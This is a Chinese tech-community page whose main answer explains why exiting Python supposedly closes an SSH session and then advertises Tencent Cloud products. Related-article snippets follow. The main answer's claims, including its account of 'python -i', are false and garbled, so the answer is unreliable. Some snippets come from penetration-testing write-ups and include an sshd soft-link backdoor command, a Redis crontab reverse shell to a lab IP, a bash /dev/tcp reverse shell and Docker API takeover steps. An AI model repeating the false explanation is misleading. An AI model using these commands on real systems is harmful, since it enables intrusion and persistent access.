首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

退出Python会关闭SSH连接,并且无法返回到Bash shell

是因为Python解释器在运行时会占用终端的输入输出流,导致SSH连接被关闭。当退出Python后,终端无法再接收到输入,因此无法返回到Bash shell。

为了解决这个问题,可以使用以下方法之一:

  1. 在Python代码中使用os.system('bash')命令来启动一个新的Bash shell,这样退出Python后就可以返回到Bash shell。但这种方法并不推荐,因为它会创建一个新的Bash进程,可能会导致资源浪费。
  2. 使用python -i命令来启动Python交互式模式,这样退出Python后会返回到Bash shell,并且保持SSH连接。-i选项表示进入交互模式,可以在退出Python后继续使用Bash shell。

需要注意的是,以上方法只是临时解决方案,每次退出Python后都需要重新输入命令。如果需要长时间在Bash shell中工作,建议使用screentmux等工具来创建会话,这样即使退出Python或断开SSH连接,也可以在重新连接后恢复之前的会话。

关于云计算中的相关概念和推荐的腾讯云产品,可以参考以下内容:

  • 云计算:云计算是一种通过网络提供计算资源和服务的模式,包括基础设施即服务(IaaS)、平台即服务(PaaS)和软件即服务(SaaS)等形式。
  • 腾讯云产品:腾讯云是腾讯公司推出的云计算服务平台,提供丰富的云计算产品和解决方案。具体推荐的产品和介绍链接地址可以根据实际需求进行选择,例如:
    • 云服务器(ECS):提供可扩展的计算能力,支持多种操作系统和应用场景。产品介绍链接
    • 云数据库MySQL版(CDB):提供高可用、可扩展的MySQL数据库服务。产品介绍链接
    • 云存储(COS):提供安全、可靠、低成本的对象存储服务,适用于图片、音视频、备份等场景。产品介绍链接
    • 人工智能平台(AI Lab):提供丰富的人工智能算法和工具,支持图像识别、语音识别、自然语言处理等应用。产品介绍链接

请注意,以上只是一些示例产品,具体的选择和推荐应根据实际需求和情况进行评估。

页面内容是否对你有帮助?
有帮助
没帮助

相关·内容

linux 后台运行进程:& , nohup

$nohup python manage.py runserver & 使用时注意: 在当shell中提示了nohup成功后,还需要按终端上键盘任意键退回到shell输入命令窗口,然后通过在shell中输入...exit来退出终端;如果在nohup执行成功后直接点关闭程序按钮关闭终端的话,这时候断掉该命令所对应的session,导致nohup对应的进程被通知需要一起shutdown,起不到关掉终端后调用程序继续后台运行的作用...思考 问题1-为什么ssh关闭,程序就不再运行了 元凶:SIGHUP 信号 让我们来看看为什么关掉窗口/断开连接会使得正在运行的程序死掉。...SIGHUP信号退出导致该会话期内其他进程退出。...简而言之:就是ssh 打开以后,bash等都是他的子程序,一旦ssh关闭,系统将所有相关进程杀掉!!

4.5K40

TTY 到底是个什么玩意?

当你在一行的中间输入一些文字,比如 asdffwefs,屏幕乱掉,这些文字覆盖后面的内容,直到你按下 Esc 退出编辑才会正常。...由于 SIGTERM 是可以被程序自己处理的信号,所以 bash 收到之后决定忽略,sleep 收到之后会退出。...回到 ssh 的那个问题,我们现在合理的猜测是:ssh 在获取远程的 shell 的时候,先将当前自己所在的 shell disable isig,这样子,Ctrl+C 这个行为将会以字符发送给 ssh...第二次查看是在执行 ssh 登录之后,isig 变成关闭状态了。如果 ssh 退出,isig 又会变成开启的状态。...然后在 ssh (当前的前台程序是 sleep 9999)按下 Ctrl+C。这时候 ssh 直接退出了,我们回到了 local shell,而不是结束 ssh 中的 sleep。

1.5K30
  • Tomcat进程意外退出,元凶居然是他...

    这种情况下,如果用户直接关闭ssh终端的窗口(用鼠标或快捷键),则java进程也退出。而如果先ctrl-c终止test.sh进程,然后再关闭ssh终端的话,则java进程不会退出。...ssh终端窗口导致java进程退出?...我们的推测是ssh窗口在关闭时,对当前交互的shell以及正在运行的test.sh等子进程发送某个退出的Signal,找了一台装有systemtap的机器来验证,所用的stap脚本是从涧泉同学那里copy...回到tomcat的例子,catalina.sh脚本通过start参数启动的时候,就是以非交互方式后台启动,java进程也被shell设置了忽略SIGINT信号,因此在ctrl-c结束test.sh进程时...把SIGHUP传递给bash进程后,bash会把SIGHUP传递给它的子进程,并且对于其子进程test.sh,bash还会对test.sh的进程组里的成员都传播一遍SIGHUP。

    4K10

    Tomcat 进程意外突崩,元凶居然是它...

    这种情况下,如果用户直接关闭ssh终端的窗口(用鼠标或快捷键),则java进程也退出。而如果先ctrl-c终止test.sh进程,然后再关闭ssh终端的话,则java进程不会退出。...ssh终端窗口导致java进程退出?...我们的推测是ssh窗口在关闭时,对当前交互的shell以及正在运行的test.sh等子进程发送某个退出的Signal,找了一台装有systemtap的机器来验证,所用的stap脚本是从涧泉同学那里copy...回到tomcat的例子,catalina.sh脚本通过start参数启动的时候,就是以非交互方式后台启动,java进程也被shell设置了忽略SIGINT信号,因此在ctrl-c结束test.sh进程时...把SIGHUP传递给bash进程后,bash会把SIGHUP传递给它的子进程,并且对于其子进程test.sh,bash还会对test.sh的进程组里的成员都传播一遍SIGHUP。

    1K10

    Linux权限维持|内网渗透学习(十二)

    bash ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oport=12345 连接命令 ssh root@192.168.92.128 -p 12345 ssh server...启动/usr/bin/sshd, 这是原始sshd, 原始的sshd监听端口建立了tcp连接后, fork一个子进程处理具体工作。...源端口, 如果是19526就执行sh给个shell 其中x00x00LF是19526的大端形式, 便于传输和处理, 如果想修改源端口, 可以用python的struct标准库实现 ssh key 生成一个公钥...dir.py">/dev/null 2>&1&)&& sleep 2&&rm -f dir.py 后门开启之后会开启一个正向shell, 我们只要nc连接端口即可获得shell 开启一个体验更好的虚拟终端...: python -c "import pty;pty.spawn('/bin/bash')" PROMPT_COMMAND 后门 Linux Bash Shell提供了一个环境变量PROMPT_COMMAND

    1.1K32

    linux screen 命令详解(可以中断终端界面运行)

    也就是窗口No. 0,并在其中打开一个系统默认的shell,一般都会是bash。...所以你敲入命令screen之后,立刻又返回到命令提示符,仿佛什么也没有发生似的,其实你已经进入Screen的世界了。...使用screen -wipe命令清除该会话: 5.6 关闭或杀死窗口 正常情况下,当你退出一个窗口中最后一个程序(通常是bash)后,这个窗口就关闭了。...如果一个Screen会话中最后一个窗口被关闭了,那么整个Screen会话也就退出了,screen进程会被终止。...除了依次退出/杀死当前Screen会话中所有窗口这种方法之外,还可以使用快捷键C-a :,然后输入quit命令退出Screen会话。需要注意的是,这样退出杀死所有窗口并退出其中运行的所有程序。

    4.4K30

    linux screen 命令详解(可以中断终端界面运行)

    也就是窗口No. 0,并在其中打开一个系统默认的shell,一般都会是bash。...所以你敲入命令screen之后,立刻又返回到命令提示符,仿佛什么也没有发生似的,其实你已经进入Screen的世界了。...使用screen -wipe命令清除该会话: 5.6 关闭或杀死窗口 正常情况下,当你退出一个窗口中最后一个程序(通常是bash)后,这个窗口就关闭了。...如果一个Screen会话中最后一个窗口被关闭了,那么整个Screen会话也就退出了,screen进程会被终止。...除了依次退出/杀死当前Screen会话中所有窗口这种方法之外,还可以使用快捷键C-a :,然后输入quit命令退出Screen会话。需要注意的是,这样退出杀死所有窗口并退出其中运行的所有程序。

    3.9K21

    Linux 守护进程|应急响应

    在Linux中: 打开terminal,也就是终端程序,之后可以获得一个shell 通过ssh连接到linux的ssh-server 服务器,也可以获得一个shell 通常我们都是通过以上两种方式来获得一个...大家都知道,此时我们启动了一个程序 ping ,并且创建了一个进程,我们再开一个终端ssh连接这个服务器看一下 ?...我们使用 1788的shell来执行 ping www.baidu.com & 之后exit退出ssh连接 ? ?...从这里可以看到,虽然我们把ssh连接退出了,但是后台进行依旧在这个session上执行,还属于这个会话,所以如果session存在还在执行的后台进程,即使关闭终端或者断开ssh等远程连接,session...当一个终端关闭或者ssh等远程连接退出的时候,系统向session管理的所有进程发送一个SIGHUP信号,这个信号就是挂断的意思,效果就是进程中断,理论上问题5中 ping www.baidu.com

    3.8K30

    【Linux】用户必须知道的常用终端快捷键

    如果有人完全使用鼠标来复制整个文本而不是 Ctrl+A,你怎么想? Linux 终端也不例外。这里是一些每个用户必须直到并练习的 Linux 终端快捷键。...必须知道的 Linux 快捷键 我想提一下一些快捷键可能依赖于你使用的 ShellBash 是最受欢迎的 shell,所以列出的快捷键集中在 Bash。...Ctrl + D 这对键盘快捷键将使你退出当前终端。如果你使用 SSH 连接,它将会关闭。如果你直接使用一个终端,该应用将会立刻关闭。 把它当成“退出”命令。 5....假设你在终端输入了一个很长的命令或路径,并且你想要回到它的开头, 使用方向键移动光标将花费大量时间。注意你无法使用鼠标移动光标到行首。 这是 Ctrl+A 节省时间的地方。 7....你可以反复按该键来返回到历史命令。在很多终端里,使用 PgUp 键来实现相同的功能。 13. Ctrl + N 你可以结合 Ctrl+P 使用该快捷键。Ctrl+N 显示下一个命令。

    2.7K20

    Docker-(2) 常用命令

    ctrl+D docker exec -it [name/id] /bin/bash # 或者,attach退出使用ctrl+p ctrl+q docker attach [name/id] # docker...# docker exec在容器内起一个新的进程,docker attach 只会把标准输出输入连接到容器内的PID1 # Attach就像投屏,如果你从两个终端attach到一个container...# 用attach方式进到container,当从终端退出来的时候,container是会被关闭的。...# exec是不会这样的,不同终端连接到不同的tty,退出终端的时候不会关闭container的main process. # 启动未在运行的container docker start [name/id...进入容器,设置root密码 passwd root 之后就可以直接ssh远程连接进容器了 如果ssh连接容器后没办法使用python等环境, vim ~/.bashrc # 然后添加下面三行到文件中

    22120

    java检测tomcat宕机_Tomcat意外宕机分析

    tomcat启动之后,当前shell进程并没有退出,而是挂住在tail进程,往终端输出日志内容。这种情况下: 1)、如果我先直接关掉ssh窗口后,Java进程退出,服务不可用。...2)、而我如果先 用ctrl-c终止test.sh进程,然后再关闭ssh终端的话,这时Java进程不会退出。服务没有受到影响,仍然可用。...ssh终端窗口导致java进程退出?...在非交互模式下,shell对java进程设置了SIGINT,SIGQUIT信号设置了忽略,但并没有对SIGHUP信号设为忽略,回头看上面说的,直接关闭ssh终端窗口时,sshd向下游进程发送SIGHUP...传递给bash进程后,bash会把SIGHUP传递给它的子进程,并且对于其子进程test.sh,bash还会对test.sh的进程组里的成员都传播一遍SIGHUP。

    1.4K10

    关于SSH远程执行命令和环境变量的问题

    这种方式会使用Bash的non-interactive + non-login shell模式,创建一个shell,执行完脚本之后便退出,不再需要与用户交互。...假设我们运行时出现找不到动态链接库的问题: ssh://oldpan@176.32.12.18:22/home/oldpan/anaconda3/envs/pytorch/bin/python -u /...如果有指定文件,那么Shell先去加载这个文件里面的内容,然后再开始执行Shell脚本。...而bash_profile是在我们通过SSH登录后再执行的命令和脚本,这种方式会使用Bash的interactive + login shell模式,这里面有两个概念需要解释:interactive和login...通常来说如bash script.sh此类执行脚本的命令就会启动一个non-interactive shell,它不需要与用户进行交互,执行完后它便会退出创建的Shell

    95240

    Linux screen 命令

    通常情况下我们都是为每一个这样的任务开一个远程终端窗口,但必须等待它们执行完毕,并且在此期间不能关掉窗口或者断开连接,否则这个任务就会被杀掉,一切半途而废了。...shell,一般都会是bash。...所以你敲入命令screen之后,立刻又返回到命令提示符,仿佛什么也没有发生似的,其实你已经进入screen的世界了。...使用screen -wipe命令清除该会话: 关闭或杀死窗口 正常情况下,当你退出一个窗口中最后一个程序(通常是bash)后,这个窗口就关闭了。...除了依次退出/杀死当前Screen会话中所有窗口这种方法之外,还可以使用快捷键C-a :,然后输入quit命令退出Screen会话。 需要注意的是,这样退出杀死所有窗口并退出其中运行的所有程序。

    1.8K30

    Docker API未授权漏洞复现

    04 漏洞利用 因为主机是mac,然后在里面启用了一个docker,然后再里面又启用了一个docker,所以这里是无法使用替换密钥的方法来登陆第二层docker的 ?...弹到kali上 当这个脚本在mac上执行完成之后,大概需要很长的时间返回一个shell回来 ?...这条命令的意思是启动一个image ID 为69593048aa3a的容器,并且将该宿主机的根目录挂在到容器的/mnt目录下 启动之后就会获得该容器宿主机的shell ?...再回到远程主机上来 使用echo指令将公钥写进去 ? 直接远程连接 ssh -i id_rsa root@127.0.0.1 ? 登陆成功。...警告信息没了 再试试连接下 ? 可以了 ? 06 修复方法 设置ACL,只允许信任的IP端口连接对应端口 开启TLS,使用生成的证书进行认证

    2.7K20

    docker - 常用命令使用教程

    映射到当前的 Shell,然后你在本机窗口输入的命令,就会传入容器 --name 容器名称,如果不设置随机分配一个名字 --shm-size 容器共享内存大小设置。...-p 暴漏容器的端口到本机的端口上,例如用于ssh连接容器时需要将容器的22端口暴露到主机的端口上(比如3721),则可以设置 -p 3721:22 [image_name, image_tag]...此种方法启动的终端,即使退出也不会关闭容器 相反 - 如果直接通过端口映射连接 docker 建立的ssh链接,窗口退出后该终端的工作也一同停止 进入容器的主终端 docker attach...[containerID] 连接到容器的主终端,该终端退出后容器关闭。...如果不希望退出关闭,可以加入选项 --sig-proxy=false 退出终端 ctrl p + ctrl q 可以在退出终端的同时保持终端继续工作 退出容器 exit 在容器中运行此命令

    45420

    redis未授权访问漏洞的三种场景复现以及加固思路

    有java,c/c++,c#,php,JavaScript,perl,object-c,python,ruby,erlang等客户端,使用方便。...,实现反弹shell #此处的ip为攻击机ip,后面跟上接收反弹shell的端口 set myshell "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.248.148...;cat id_rsa.pub;echo -e "\n\n")>1.txt (6).在攻击机将1.txt内容带入靶机redis服务器 此处因为redis6版本的保护模块,无法直接写入,所以我们先在靶机上以关闭保护模式的方式启动...config set dbfilename authorized_keys save exit #退出之后,攻击机进入/root/.ssh/目录 #然后即可使用ssh直接登录,不需要输入密码,此处-i...然后,添加好新的公钥之后,按照上述步骤重 新加上immutable位权限 注:chattr设置文件的隐藏属性(+i 让一个文件“不能被删除、改名,设置连接无法写入或添加据)。

    1.6K20

    alias后门 | Linux 后门系列

    /bash_login 【用户级】 如果有其中的一个文件存在的话, 当启动的是一个登录shell时,Bash 执行该文件而不会执行~/.profile 如果两个文件都存在的话,Bash 将会优先执行...~/.bash_profile 而不是~/.bash_login ~/.bash_logout 【用户级】当每次退出系统(退出bash shell)时执行该文件 参考 https://www.cnblogs.com...可以看到我们之前提交的数据,同时呢,这个文件返回的内容也比较多,只要改一个好点的名字可能让安全管理人员认为是正常的文件 这种后门的场景就是用户登录到这台主机上后,使用这台主机的ssh去远程连接其他主机才能引发后门...ls 别名 劫持了 alias 命令,使用户查看别名列表的时候发现 ls 一直是 ls='ls --color=auto' 在用户退出ssh的时候才会反弹shell(这个我表示不理解,好像情况也不是很统一...你看,我还像模像样的写了两行注释,伪装一下 ,记得把之前的 ~/.bash_aliases 删除掉 ? 此时,我们推出 ssh 连接,之后再次连接,我们测试一下: ?

    7.6K30

    如何将简单的Shell转换成为完全交互式的TTY

    作为一名渗透测试人员,最令人激动的莫过于netcat为我们反弹回了一个shell连接,以及通过id命令查看到一个令人满意的用户权限。...但凡事总有意外,由于我们获取的shell并不是一个具有完整交互的shell,因此可能会在使用过程中被挂起,甚至还可能因为我们的操作失误,例如不小心摁下了 “Ctrl-C”键,这将直接终止我们的整个shell...除了没有正确处理SIGINT(信号)之外,这些“哑”shell还有其它诸多缺点: 一些命令如su和ssh,需要一个正确的终端才能运行 通常不显示STDERR 无法正常使用vim等文本编辑器 没有完成标签...一旦bash在PTY中运行,我们按Ctrl-Z键将shell调至后台运行 ? 现在我们来检查当前终端和STTY信息,所以我们可以强制连接shell并匹配: ?...reset命令进入到netcat shell中后,shell正常显示。最后一步是设置shell,终端类型和stty大小来匹配我们当前的Kali窗口(上面收集的信息)。

    5.1K40

    域渗透——多层内网环境渗透测试(三)

    Redis 未授权访问 redis-cli -h 192.168.52.10 测试成功,发现存在redis未授权漏洞 现在我们退出redis,回到kali中,利用redis未授权漏洞写入公钥私钥。...在提权之前,我们先对系统信息收集一下 深度信息收集 在tmp目录上传信息收集脚本,对机器进行信息收集 反弹shell 反弹到入口机的shell bash -c 'exec bash -i &>/dev/.../attach/im/2102/1811843809.shell.jpg"}&cmd=whoami 写入webshell 尝试过多种下载木马,发现无法下载回到本地,现在的想法是写webshell再来上传...psexec也无法反弹shell回来,现在我们尝试使用域控的一些漏洞 Sam-the-admin域内提权 proxychains python3 sam_the_admin.py "whoamianony...3389 proxychains rdesktop 192.168.93.40 (注:这里kail无法直接连接域控的,因为kail无法与kdc进行身份校验,所以只能通过域控中的机器进行远程过去) 上去之后把

    58510
    领券